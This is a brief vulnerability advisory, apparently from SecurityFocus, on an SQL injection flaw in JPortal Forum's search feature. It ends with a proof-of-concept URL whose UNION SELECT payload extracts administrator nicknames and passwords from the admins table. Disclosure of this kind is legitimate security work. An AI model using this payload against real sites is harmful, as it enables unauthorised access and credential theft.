source: https://www.securityfocus.com/bid/15925/info
JPortal Forum is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
http://www.example.com/jportal/forum.php?cmd=search&word=Trey&where=author%20and%201=0%20union%20select%20null,null,nick,pass,null,
null,null,null,null,null,null,null,null,null,null,null%20from%20admins%20/*